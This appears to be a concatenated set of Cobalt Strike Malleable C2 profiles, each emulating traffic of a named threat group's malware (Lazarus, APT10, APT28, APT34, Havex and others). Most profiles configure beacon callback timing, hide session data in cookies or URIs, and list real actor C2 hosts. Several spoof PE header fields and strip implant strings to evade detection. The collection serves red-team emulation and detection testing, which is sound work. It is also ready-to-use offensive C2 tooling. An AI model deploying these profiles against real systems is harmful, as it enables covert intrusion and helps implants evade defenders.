42 header "Content-Type" "application/octet-stream";
43
44 id {
45 uri-append;
46 }
47
48 output {
49 print;
50 }
51 }
52
53 server {
54 header "Content-Type" "text/html";
55
56 output {
57 print;
58 }
59 }
60 }
0 #imeklmg.exe
1 #2nd stage RAT C2 IOCs related to BlueNoroff, Lazarus financial targeting malware
2 #mostly taken from https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf -- and mostly from 'Malware 6' section
3 #filled in legit info best I could..
4 #xx0hcd
5
6
7 set sleeptime "30000";
8 set jitter "20";
9 set useragent "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0";
10 set dns_idle "8.8.8.8";
11 set maxdns "235";
12
13
14 http-get {
15
16 set uri "/view.jsp";
17
18 client {
19
20 header "Host" "update.toythieves.com";
21 header "Accept" "*/*";
22 header "Cookie" "0449651003fe48-Nff0eb7";
23 parameter "action" "Execute";
24
25 metadata {
26 netbios;
27 parameter "u";
28
29
30 }
31
32 parameter "Filename" "psmon.dat";
33 parameter "Param" "82.144.131.5";
34
35 }
36
37 server {
38
39 header "Cache-Control" "private, max-age=0";
40 header "Content-Type" "text/html; charset=utf-8";
41 header "Server" "nginx/1.4.6 (Ubuntu)";
42 header "Connection" "close";
43
44
45 output {
46 netbios;
47 print;
48 }
49 }
50 }
51
52 http-post {
53
54 set uri "/View.jsp";
55 set verb "GET";
56
57 client {
58
59 header "Host" "update.toythieves.com";
60 header "Accept" "*/*";
61 parameter "action" "Execute";
62
63 output {
64 netbios;
65 parameter "u";
66
67
68 }
69
70 parameter "Filename" "avgnt.dat";
71 parameter "Param" "120.88.46.206";
72
73 id {
74 base64url;
75 prepend "0449651003fe48-";
76 header "Cookie";
77
78 }
79 }
80
81 server {
82
83 header "Cache-Control" "private, max-age=0";
84 header "Content-Type" "text/html; charset=utf-8";
85 header "Server" "nginx/1.4.6 (Ubuntu)";
86 header "Connection" "close";
87
88
89 output {
90 base64;
91 print;
92 }
93 }
94 }
95
96 http-stager {
97 server {
98 header "Cache-Control" "private, max-age=0";
99 header "Content-Type" "text/html; charset=utf-8";
100 header "Server" "nginx/1.4.6 (Ubuntu)";
101 header "Connection" "close";
102
103 }
104
105
106 }
107 #From 'Malware 6' in doc
108 stage {
109 set compile_time "14 Jun 2016 11:56:42";
110 set userwx "false";
111 set image_size_x86 "487424";
112 }
0 #APT10 ChChes malware profile
1 #https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
2 #https://www.hybrid-analysis.com/sample/6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e?environmentId=100
3 #xx0hcd
4
5
6 set sleeptime "30000";
7 set jitter "20";
8 set useragent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E )";
9 set dns_idle "8.8.8.8";
10 set maxdns "235";
11 set sample_name "chches_APT10 profile";
12
13
14 #https-certificate {
15 # set keystore "demo.store";
16 # set password "whateverpass";
17 #}
18
19 #setting server responses via 3.13 http-config block
20 http-config {
21 set headers "Server, Set-Cookie, Keep-Alive, Connection, Content-Type, Cache-Control, Content-Length";
22 header "Server" "Apache";
23 header "Set-Cookie" "vsid=911vr2589323527124315; expires=Mon, 21-Nov-2022 21:39:12 GMT; Max-Age=157680000; path=/; domain=fukuoka.cloud-maste.com; HttpOnly";
24 header "Keep-Alive" "timeout=5, max=95";
25 header "Connection" "Keep-Alive";
26 header "Content-Type" "text/html; charset=UTF-8";
27 header "Cache-Control" "private";
28 header "Content-Length" "";
29
30
31 }
32
33 #prob have to change Host header depending on where you are testing.
34 http-get {
35
36 set uri "/5aq/XP/SY75Qyw.htm";
37
38 client {
39
40 header "Accept" "*/*";
41 header "Host" "fukuoka.cloud-maste.com";
42 header "Connection" "Keep-Alive";
43 header "Cache-Control" "no-cache";
44
45
46 metadata {
47 netbios;
48 prepend "CzFc6k28XGpZ=";
49 header "Cookie";
50
51 }
52
53 }
54
55
56 server {
57
58 output {
59
60 netbios;
61 prepend "...........Tmk.0..>..P=.l8~IR.5.;..c[....AQ...F..$'i...NN.4I.L.Kz....ypp9....vE\n";
62 prepend "[.......(.....`)I..\n";
63 append "...l.|.V2c....0.....Qj.J....\"c..Z...j+A...4-.....U....k.q..-.sf...%.9..x..R...........*+..=<S...?.K.g.-O..........d7\"M'.V.d=..4H.H.L....X..Da.L.y.....7.Du .k.yc...:....T'....6;.2X.....j.*...f8..|u>....Vce7.....ZX.....#.../...D\".pc*.*IJ5..Y.f<E$.^._wF...K.p.-..8......}..eU>.*....1Bq.....|..u....9........,..Z.;.D.9.I5..";
64 print;
65
66 }
67 }
68 }
69
70
71 http-post {
72
73 set uri "/RCg/vp6rBcQ.htm";
74 set verb "GET";
75
76 client {
77
78 header "Accept" "*/*";
79 header "Host" "fukuoka.cloud-maste.com";
80 header "Connection" "Keep-Alive";
81 header "Cache-Control" "no-cache";
82
83 output {
84 netbios;
85 prepend "hmr2In1XD14=";
86 header "Cookie";
87
88
89 }
90
91 #not really a good place to put this
92 id {
93 base64url;
94 parameter "c";
95
96 }
97 }
98
99 server {
100
101 output {
102 netbios;
103 prepend "...........Tmk.0..>..P=.l8~IR.5.;..c[....AQ...F..$'i...NN.4I.L.Kz....ypp9....vE\n";
104 prepend "[.......(.....`)I..\n";
105 append "...l.|.V2c....0.....Qj.J....\"c..Z...j+A...4-.....U....k.q..-.sf...%.9..x..R...........*+..=<S...?.K.g.-O..........d7\"M'.V.d=..4H.H.L....X..Da.L.y.....7.Du .k.yc...:....T'....6;.2X.....j.*...f8..|u>....Vce7.....ZX.....#.../...D\".pc*.*IJ5..Y.f<E$.^._wF...K.p.-..8......}..eU>.*....1Bq.....|..u....9........,..Z.;.D.9.I5..";
106 print;
107 }
108 }
109 }
110
111
112
113 http-stager {
114
115 set uri_x86 "/ST/TWGRYKf0/d/du92w/RUk/Z2l.htm";
116 set uri_x64 "/ST/TWGRYkf0/d/du92w/RUk/Z2l.htm";
117
118 client {
119 header "Accept" "*/*";
120 header "Host" "fukuoka.cloud-maste.com";
121 header "Connection" "Keep-Alive";
122 header "Cache-Control" "no-cache";
123 }
124
125 server {
126
127 }
128
129
130 }
131
132 set spawnto_x86 "%windir%\\syswow64\\reg.exe";
133 set spawnto_x64 "%windir%\\sysnative\\reg.exe";
134
135 #peclone from hybrid analysis sample
136 stage {
137 set checksum "0";
138 set compile_time "23 Nov 2016 19:31:37";
139 set entry_point "38807";
140 set rich_header "\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00";
141 }
142
143
144
0 #
1 # Comfoo profile
2 # http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
3 #
4 # Author: @harmj0y
5 #
6
7 set sleeptime "30000"; # use a ~30s delay between callbacks
8 set jitter "20";
9 set maxdns "255";
10 set useragent "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)";
11
12 http-get {
13
14 set uri "/CWoNaJLBo/VTNeWw11212/";
15
16 client {
17
18 header "Accept" "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
19 header "Accept-Language" "en-en";
20 header "Connection" "Keel-Alive";
21 header "Cache-Control" "no-cache";
22
23 metadata {
24 netbiosu;
25 append "/UTWOqVQ132/";
26 uri-append;
27 }
28 }
29
30 server {
31
32 header "Server" "Apache/2.0.50 (Unix)";
33 header "Keep-Alive" "timeout=15, max=90";
34
35 output {
36 print;
37 }
38 }
39 }
40
41 http-post {
42
43 set uri "/CWoNaJLBo/VTNeWw11213/";
44
45 client {
46
47 header "Accept" "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
48 header "Accept-Language" "en-en";
49 header "Connection" "Keel-Alive";
50 header "Cache-Control" "no-cache";
51
52 id {
53 netbiosu;
54 append "/UTWOqVQ132/";
55 uri-append;
56 }
57
58 output {
59 print;
60 }
61 }
62
63 server {
64
65 header "Server" "Apache/2.0.50 (Unix)";
66 header "Keep-Alive" "timeout=15, max=90";
67
68 output {
69 base64;
70 print;
71 }
72 }
73 }
0 #
1 # Etumbot Profile
2 # http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
3 #
4 # Author: @harmj0y
5 #
6 set sample_name "Etumbot";
7
8 set sleeptime "5000";
9 set jitter "0";
10 set maxdns "255";
11 set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
12
13 http-get {
14
15 set uri "/image/";
16
17 client {
18
19 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
20 header "Referer" "http://www.google.com";
21 header "Pragma" "no-cache";
22 header "Cache-Control" "no-cache";
23
24 metadata {
25 netbios;
26 append "-.jpg";
27 uri-append;
28 }
29 }
30
31 server {
32
33 header "Content-Type" "img/jpg";
34 header "Server" "Microsoft-IIS/6.0";
35 header "X-Powered-By" "ASP.NET";
36
37 output {
38 base64;
39 print;
40 }
41 }
42 }
43
44 http-post {
45 set uri "/history/";
46
47 client {
48
49 header "Content-Type" "application/octet-stream";
50 header "Referer" "http://www.google.com";
51 header "Pragma" "no-cache";
52 header "Cache-Control" "no-cache";
53
54 id {
55 netbiosu;
56 append ".asp";
57 uri-append;
58 }
59
60 output {
61 base64;
62 print;
63 }
64 }
65
66 server {
67
68 header "Content-Type" "img/jpg";
69 header "Server" "Microsoft-IIS/6.0";
70 header "X-Powered-By" "ASP.NET";
71
72 output {
73 base64;
74 print;
75 }
76 }
77 }
0 # havex trojan C&C profile
1 # Actor: Energetic Bear / Crouching Yeti / Dragonfly
2 #
3 # See:
4 # . http://www.symantec.com/connect/blogs/emerging-threat-dragonfly-energetic-bear-apt-group
5 # . https://securelist.com/files/2014/07/EB-YetiJuly2014-Public.pdf
6 # . http://pastebin.com/qCdMwtZ6
7 # . http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_Global_Threat_Report_2013.pdf
8 # . https://github.com/Yara-Rules/rules/blob/master/malware/RAT_Havex.yar
9 # . http://web.archive.org/web/20170808180137/www.f-secure.com/weblog/archives/00002718.html
10 # . https://www.virustotal.com/#/file/3d3daee1a38e67707921b222f1685d5bd6328af2fc80d4c11d92dc6a6c289261/details
11 #
12 # Author: @armitagehacker
13
14 set sample_name "HaveX Trojan";
15
16 set sleeptime "30000";
17
18 set useragent "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08";
19
20 set pipename "mypipe-f##";
21 set pipename_stager "mypipe-h##";
22
23 # Clone some header values (Sample from: https://malshare.com/sample.php?action=detail&hash=c6e161a948f4474849d5740b2f27964a)
24 # ./peclone c6e161a948f4474849d5740b2f27964a
25 stage {
26 set checksum "0";
27 set compile_time "30 Dec 2013 07:53:48";
28 set entry_point "134733";
29 set image_size_x86 "348160";
30 set image_size_x64 "348160";
31 set name "Tmprovider.dll";
32 set rich_header "\x63\x02\x25\x0f\x27\x63\x4b\x5c\x27\x63\x4b\x5c\x27\x63\x4b\x5c\x9a\x2c\xdd\x5c\x24\x63\x4b\x5c\x2e\x1b\xde\x5c\x3b\x63\x4b\x5c\x2e\x1b\xcf\x5c\x1b\x63\x4b\x5c\x2e\x1b\xc8\x5c\x8f\x63\x4b\x5c\x00\xa5\x30\x5c\x28\x63\x4b\x5c\x27\x63\x4a\x5c\x97\x63\x4b\x5c\x2e\x1b\xc1\x5c\x60\x63\x4b\x5c\x2e\x1b\xd9\x5c\x26\x63\x4b\x5c\x39\x31\xdf\x5c\x26\x63\x4b\x5c\x2e\x1b\xda\x5c\x26\x63\x4b\x5c\x52\x69\x63\x68\x27\x63\x4b\x5c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
33
34 # disable this little obfuscation
35 set stomppe "false";
36
37 # make these things havex-ish
38 transform-x86 {
39 strrep "ReflectiveLoader" "RunDllEntry";
40 strrep "beacon.dll" "";
41 }
42
43 transform-x64 {
44 strrep "ReflectiveLoader" "RunDllEntry";
45 strrep "beacon.x64.dll" "";
46 }
47
48 # strings gathered from Yara rules and sandbox string dumps
49 stringw "%s <%s> (Type=%i, Access=%i, ID='%s')";
50 stringw "%02i was terminated by ThreadManager(2)\n";
51 stringw "main sort initialise ...\n";
52 stringw "qsort [0x%x, 0x%x] done %d this %d\n";
53 stringw "{0x%08x, 0x%08x}";
54 stringw "Programm was started at %02i:%02i:%02i\n";
55 stringw "a+";
56 stringw "%02i:%02i:%02i.%04i:";
57 stringw "**************************************************************************\n";
58 stringw "Start finging of LAN hosts...\n";
59 stringw "Finding was fault. Unexpective error\n";
60 stringw "Hosts was't found.\n";
61 stringw "\t\t\t\t\t%O2i) [%s]\n";
62 stringw "Start finging of OPC Servers...";
63 stringw "Was found %i OPC Servers.";
64 stringw "\t\t%i) [%s\\%s]\n\t\t\tCLSID: %s\n";
65 stringw "\t\t\tUserType: %s\n\t\t\tVerIndProgID: %s\n";
66 stringw "OPC Servers not found. Programm finished";
67 stringw "Start finging of OPC Tags...";
68 stringw "[-]Threads number > Hosts number";
69 stringw "[-]Can not get local ip";
70 stringw "[!]Start";
71 stringw "[+]Get WSADATA";
72 stringw "[+]Local:";
73 stringw "[-]Connection error";
74 stringw "Was found %i hosts in LAN:";
75 stringw "%s[%s]!!!EXEPTION %i!!!";
76 stringw "final combined CRC = 0x%08x";
77 }
78
79 http-get {
80 set uri "/include/template/isx.php /wp06/wp-includes/po.php /wp08/wp-includes/dtcla.php";
81
82 client {
83 header "Referer" "http://www.google.com";
84 header "Accept" "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
85 header "Accept-Language" "en-us,en;q=0.5";
86
87 # base64 encoded Cookie is not a havex indicator, but a place to stuff our data
88 metadata {
89 base64;
90 header "Cookie";
91 }
92 }
93
94 server {
95 header "Server" "Apache/2.2.26 (Unix)";
96 header "X-Powered-By" "PHP/5.3.28";
97 header "Cache-Control" "no-cache";
98 header "Content-Type" "text/html";
99 header "Keep-Alive" "timeout=3, max=100";
100
101 output {
102 base64;
103 prepend "<html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>Sorry, no data corresponding your request.<!--havex";
104 append "havex--></body></html>";
105 print;
106 }
107 }
108 }
109
110 # define indicators for an HTTP POST
111 http-post {
112 set uri "/modules/mod_search.php /blog/wp-includes/pomo/src.php /includes/phpmailer/class.pop3.php";
113
114 client {
115 header "Content-Type" "application/octet-stream";
116
117 # transmit our sess id as /whatever.php?id=[identifier]
118 id {
119 parameter "id";
120 }
121
122 # post our output with no real changes
123 output {
124 print;
125 }
126 }
127
128 # The server's response to our HTTP POST
129 server {
130 header "Server" "Apache/2.2.26 (Unix)";
131 header "X-Powered-By" "PHP/5.3.28";
132 header "Cache-Control" "no-cache";
133 header "Content-Type" "text/html";
134 header "Keep-Alive" "timeout=3, max=100";
135
136 # this will just print an empty string, meh...
137 output {
138 prepend "blah blah blah";
139 mask;
140 base64;
141 prepend "<html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>Sorry, no data corresponding your request.<!--havex";
142 append "havex--></body></html>";
143 print;
144 }
145 }
146 }
0 # Meterpreter profile
1 #
2 # This was a fun exercise, make Beacon Meterpreter-like. :)
3 #
4 # https://www.metasploit.com/
5 #
6 set sample_name "Meterpreter";
7
8 # 100ms sleep time.
9 set sleeptime "100";
10
11 # what else would we spawn to?
12 set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
13 set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
14
15 # process injection tweak
16 set hijack_remote_thread "false";
17
18 # propagate user-agent to all transactions
19 set useragent "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko";
20
21 # set some PE and memory indicators to resemble the metasploit rDLL
22 stage {
23 # PE header fields
24 set checksum "0";
25 set compile_time "08 May 2017 23:13:38";
26 set entry_point "558586";
27 set image_size_x86 "987136";
28 set image_size_x64 "1232896";
29 set name "metsrv.dll";
30 set rich_header "\xf4\x1f\x93\x1a\xb0\x7e\xfd\x49\xb0\x7e\xfd\x49\xb0\x7e\xfd\x49\xf6\x2f\x1c\x49\x9d\x7e\xfd\x49\xf6\x2f\x22\x49\xaf\x7e\xfd\x49\xf6\x2f\x1d\x49\x0b\x7e\xfd\x49\xcd\x07\x1d\x49\x3f\x7f\xfd\x49\xb0\x7e\xfc\x49\x63\x7e\xfd\x49\xb9\x06\x6e\x49\xa1\x7e\xfd\x49\xb9\x06\x7e\x49\xb1\x7e\xfd\x49\xbd\x2c\x22\x49\xb1\x7e\xfd\x49\xbd\x2c\x1d\x49\xaa\x7e\xfd\x49\xbd\x2c\x21\x49\xb1\x7e\xfd\x49\xbd\x2c\x23\x49\xb1\x7e\xfd\x49\x52\x69\x63\x68\xb0\x7e\xfd\x49\x00\x00\x00\x00\x00\x00\x00\x00";
31
32 # obfuscations
33 set userwx "true";
34 set stomppe "false";
35
36 # strings
37 stringw "%04x-%04x:%s";
38 stringw "pipe";
39 stringw "SeSecurityPrivilege";
40 stringw "pipe";
41 stringw "\\\\%s\\pipe\\%s";
42 stringw "https";
43 stringw "POST";
44 stringw "POST";
45 string "stdapi_sys_process_getpid";
46 string "[%x]";
47 string "buffer_from_file";
48 string "buffer_to_file";
49 string "channel_close";
50 string "channel_create";
51
52 # get rid of some stuff
53 transform-x86 {
54 strrep "beacon.dll" "";
55 }
56
57 transform-x64 {
58 strrep "beacon.x64.dll" "";
59 }
60 }
61
62 # SSL cert
63 https-certificate {
64 set O "dmcjna";
65 set CN "dmcjna";
66 set validity "3285";
67 }
68
69 # staging process
70 http-stager {
71 server {
72 header "Content-Type" "application/octet-stream";
73 header "Connection" "Keep-Alive";
74 header "Server" "Apache";
75 }
76 }
77
78 # HTTP GET
79 http-get {
80 set uri "/ucD";
81
82 client {
83 header "Cache-Control" "no-cache";
84 header "Connection" "Keep-Alive";
85 header "Pragma" "no-cache";
86
87 metadata {
88 base64url;
89 uri-append;
90 }
91 }
92
93 server {
94 header "Content-Type" "application/octet-stream";
95 header "Connection" "Keep-Alive";
96 header "Server" "Apache";
97
98 output {
99 print;
100 }
101 }
102 }
103
104 # HTTP POST
105 http-post {
106 set uri "/ucW";
107
108 client {
109 header "Cache-Control" "no-cache";
110 header "Connection" "Keep-Alive";
111 header "Pragma" "no-cache";
112
113 id {
114 base64url;
115 append "UMJjAiNUUtvNww0lBj9tzWegwphuIn6hNP9eeIDfOrcHJ3nozYFPT-Jl7WsmbmjZnQXUesoJkcJkpdYEdqgQFE6QZgjWVsLSSDonL28DYDVJ";
116 uri-append;
117 }
118
119 output {
120 print;
121 }
122 }
123
124 # The server's response to our HTTP POST
125 server {
126 header "Content-Type" "application/octet-stream";
127 header "Connection" "Keep-Alive";
128 header "Server" "Apache";
129
130 # this will just print an empty string, meh...
131 output {
132 print;
133 }
134 }
135 }
0 #
1 # Pitty Tiger RAT profile
2 # http://bitbucket.cassidiancybersecurity.com/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf
3 #
4 # One of several RATs used by the Pitty Tiger campaign
5 #
6 # Author: @harmj0y
7 #
8 set sample_name "Pitty Tiger RAT";
9
10 set sleeptime "30000"; # use a ~30s delay between callbacks
11 set jitter "20";
12 set maxdns "255";
13 set useragent "Microsoft Internet Explorer";
14
15 http-get {
16
17 set uri "/FC001/JOHN";
18
19 client {
20
21 header "Host" "newb02.skypetm.com.tw";
22 header "Connection" "Keel-Alive";
23
24 metadata {
25 netbiosu;
26 uri-append;
27 }
28 }
29
30 server {
31
32 header "Connection" "Keel-Alive";
33 header "Content-Type" "text/html";
34 header "Server" "IIS5.0";
35
36 output {
37 base64;
38 print;
39 }
40 }
41 }
42
43 http-post {
44 set uri "/FC002/JOHN-";
45
46 client {
47
48 header "Host" "newb02.skypetm.com.tw";
49 header "Connection" "Keel-Alive";
50
51 id {
52 netbiosu;
53 uri-append;
54 }
55
56 output {
57 base64;
58 print;
59 }
60 }
61
62 server {
63
64 header "Connection" "Keel-Alive";
65 header "Content-Type" "text/html";
66 header "Server" "IIS5.0";
67
68 output {
69 base64;
70 print;
71 }
72 }
73 }
0 #powruner - APT34
1 #taken from --> https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
2 #xx0hcd
3
4
5 set sleeptime "30000";
6 set jitter "20";
7 set dns_idle "8.8.8.8";
8 set maxdns "235";
9
10
11 http-get {
12
13 set uri "/update_wapp2.aspx";
14
15 client {
16
17 header "Host" "46.105.221.247";
18 header "Connection" "Keep-Alive";
19
20
21 metadata {
22 netbios;
23 parameter "version";
24
25
26 }
27
28
29 }
30
31 server {
32
33 header "Cache-Control" "private";
34 header "Content-Type" "text/plain; charset=utf-8";
35 header "Server" "Microsoft-IIS/8.5";
36 header "X-AspNet-Version" "4.0.30319";
37 header "X-Powered-By" "ASP.NET";
38
39
40 output {
41 netbios;
42 prepend " ";
43 prepend "not_now";
44 print;
45 }
46 }
47 }
48
49 http-post {
50
51 set uri "/update_Wapp2.aspx";
52 set verb "GET";
53
54 client {
55
56 header "Host" "46.105.221.247";
57 header "Connection" "Keep-Alive";
58
59 output {
60 netbios;
61 parameter "version";
62
63
64 }
65
66 id {
67 base64url;
68 header "Cookie";
69
70 }
71 }
72
73 server {
74
75 header "Cache-Control" "private";
76 header "Content-Type" "text/plain; charset=utf-8";
77 header "Server" "Microsoft-IIS/8.5";
78 header "X-AspNet-Version" "4.0.30319";
79 header "X-Powered-By" "ASP.NET";
80
81
82 output {
83 netbios;
84 print;
85 }
86 }
87 }
88
89 http-stager {
90
91 set uri_x86 "/Update_wapp2.aspx";
92 set uri_x64 "/update_wapP2.aspx";
93
94 client {
95 header "Host" "46.105.221.247";
96 header "Connection" "Keep-Alive";
97 }
98
99 server {
100 header "Cache-Control" "private";
101 header "Content-Type" "text/plain; charset=utf-8";
102 header "Server" "Microsoft-IIS/8.5";
103 header "X-AspNet-Version" "4.0.30319";
104 header "X-Powered-By" "ASP.NET";
105
106 }
107
108
109 }
110
111 stage {
112 #random
113 set compile_time "07 Dec 2017 12:08:22";
114 set userwx "false";
115 set obfuscate "false";
116 set image_size_x86 "305000";
117
118
119
120 }
0 # Putter Panda HTTPCLIENT Profile
1 # http://resources.crowdstrike.com/putterpanda/
2 #
3 # Author: @armitagehacker
4
5 # 500ms is default callback for this Web C2 shell
6 set sample_name "Putter Panda";
7
8 set sleeptime "500";
9
10 http-get {
11 # Beacon will randomly choose from this pool of URIs
12 set uri "/MicrosoftUpdate/ShellEx/KB242742/default.aspx";
13
14 client {
15 header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
16
17 # deliberate attempt to reproduce bug in HTTPCLIENT
18 header "Accept" "*/*, ..., ......, .";
19
20 # encode session metadata into tmp var
21 metadata {
22 netbiosu;
23 parameter "tmp";
24 }
25 }
26
27 # no special server side indicators as the report didn't say anything one way
28 # or the other about these.
29 server {
30 header "Content-Type" "application/octet-stream";
31
32 output {
33 print;
34 }
35 }
36 }
37
38 http-post {
39 set uri "/MicrosoftUpdate/GetUpdate/KB/";
40
41 client {
42 header "Content-Type" "application/octet-stream";
43 header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
44
45 id {
46 append "/default.asp";
47 uri-append;
48 }
49
50 output {
51 print;
52 }
53 }
54
55 server {
56 header "Content-Type" "text/html";
57
58 output {
59 print;
60 }
61 }
62 }
0 #ratankba malware used by 'lazarus group'
1 #xx0hcd
2 #IOC's:
3 #C2 = www.eye-watch.in
4 #C2 URI's = '/jscroll/board/list.jpg', '/design/dfbox/list.jpg', and '/design/img/list.jpg'
5 #C2 params = 'u=' and coresponding command string (here we use Beacon comms instead)
6 #C2 param1 = '?action=What&u=<string>' -- action to perform
7 #C2 param2 = '?action=CmdRes&u=<string>&err=kill' -- result of command error code
8 #C2 param3 = '?action=CmdRes&u=<string>&err=exec' -- result of command return code
9 #C2 param4 = '?action=BaseInfo&u=<string>' -- basic information collected
10
11 #openssl to be realistic as possible
12 https-certificate {
13 set CN "eye-watch.in";
14 set O "Amazon";
15 set C "US";
16 set L "Scottsdale";
17 set OU "Starfield Class";
18 set ST "Arizona";
19 set validity "365";
20 }
21
22 set sleeptime "30000";
23 set jitter "20";
24 set useragent "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0";
25 set dns_idle "8.8.8.8";
26 set maxdns "235";
27
28 http-get {
29
30 set uri "/jscroll/board/list.jpg /design/dfbox/list.jpg /design/img/list.jpg";
31
32 client {
33
34 header "Host" "www.eye-watch.in";
35 header "Accept" "*/*";
36 header "Cookie" "0449651003fe48-Nff0eb7";
37 parameter "action" "What";
38
39 metadata {
40 netbios;
41 parameter "u";
42
43 }
44
45
46
47 }
48
49 server {
50
51 header "Cache-Control" "private, max-age=0";
52 header "Content-Type" "text/html; charset=utf-8";
53 header "Server" "nginx/1.4.6 (Ubuntu)";
54 header "Connection" "close";
55
56
57 output {
58 netbios;
59 print;
60 }
61 }
62 }
63
64 http-post {
65
66 set uri "/jscroll/board/List.jpg /design/dfbox/List.jpg /design/img/List.jpg";
67 set verb "GET";
68
69 client {
70
71 header "Host" "www.eye-watch.in";
72 header "Accept" "*/*";
73 parameter "action" "BaseInfo";
74
75 output {
76 netbios;
77 parameter "u";
78
79
80 }
81
82 parameter "err" "kill";
83
84 id {
85 base64url;
86 prepend "0449651003fe48-";
87 header "Cookie";
88
89 }
90 }
91
92 server {
93
94 header "Cache-Control" "private, max-age=0";
95 header "Content-Type" "text/html; charset=utf-8";
96 header "Server" "nginx/1.4.6 (Ubuntu)";
97 header "Connection" "close";
98
99
100 output {
101 netbios;
102 print;
103 }
104 }
105 }
106
107 http-stager {
108 server {
109 header "Cache-Control" "private, max-age=0";
110 header "Content-Type" "text/html; charset=utf-8";
111 header "Server" "nginx/1.4.6 (Ubuntu)";
112 header "Connection" "close";
113 }
114 }
0 set sleeptime "30000";
1 set jitter "5";
2 set maxdns "255";
3 set useragent "Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0";
4
5 http-get {
6 #Used Trend Micro Report for APT-28 URI
7 set uri "/url/544036/cormac.mcr";
8
9 client {
10
11 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8";
12 header "Connection" "Close";
13
14 # Well-Known APT-28 C2 domain
15 header "Host" "adawareblock.com";
16 header "Cache-Control" "no-cache";
17
18 metadata {
19 base64;
20 header "Cookie";
21 }
22 }
23
24 server {
25 header "Server" "Apache/2.2.26 (Unix)";
26 header "X-Powered-By" "PHP/5.3.28";
27 header "Connection" "close";
28
29 output {
30 print;
31 }
32 }
33 }
34
35 http-post {
36
37 set uri "/k9/eR3/a/UE/eR.pdf/bKC=xCCmnuXFZ6Chw2ah1oM=";
38
39 client {
40
41 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8";
42 header "Connection" "Keep-Alive";
43
44 # Well Known APT-28 domain
45 header "Host" "adawareblock.com";
46 header "Cache-Control" "no-cache";
47
48 id {
49 netbios;
50 parameter "id";
51 }
52
53 output {
54 base64;
55 prepend "DATA=";
56 print;
57 }
58 }
59
60 server {
61 header "Server" "Apache/2.2.26 (Unix)";
62 header "X-Powered-By" "PHP/5.3.28";
63 header "Content-Type" "text/html";
64 header "Content-Length" "58";
65 header "Connection" "close";
66
67
68 output {
69 base64;
70 print;
71 }
72
73 }
74 }
0 #
1 # String of Paerls profile
2 # http://blogs.cisco.com/security/a-string-of-paerls/
3 #
4 # Author: @harmj0y
5 #
6 set sample_name "String of Paerls";
7
8 set sleeptime "30000"; # use a ~30 second main interval
9 set jitter "30"; # 35% jitter
10 set maxdns "255";
11 set useragent "Mozilla/4.0";
12
13 http-get {
14
15 # GET request modeled as well as possible based on incomplete information
16 set uri "/2/R.exe";
17
18 client {
19
20 header "Content-Type" "application/x-www-form-urlencoded";
21
22 # encode session metadata
23 metadata {
24 base64;
25 header "Cookie";
26 }
27 }
28
29 server {
30 header "Server" "Apache/2";
31 header "X-Powered-By" "PHP/5.3.28";
32 header "Vary" "User-Agent";
33 header "Content-Type" "application/octet-stream";
34
35 output {
36 print;
37 }
38 }
39 }
40
41 http-post {
42
43 set uri "/boss/image.php";
44
45 client {
46
47 header "Content-Type" "application/x-www-form-urlencoded";
48
49 id {
50 netbios;
51 parameter "id";
52 }
53
54 output {
55 base64;
56 print;
57 }
58 }
59
60 server {
61 header "Server" "Apache/2";
62 header "X-Powered-By" "PHP/5.3.28";
63 header "Vary" "User-Agent";
64 header "Content-Type" "application/octet-stream";
65
66 output {
67 print;
68 }
69 }
70 }
71
0 #
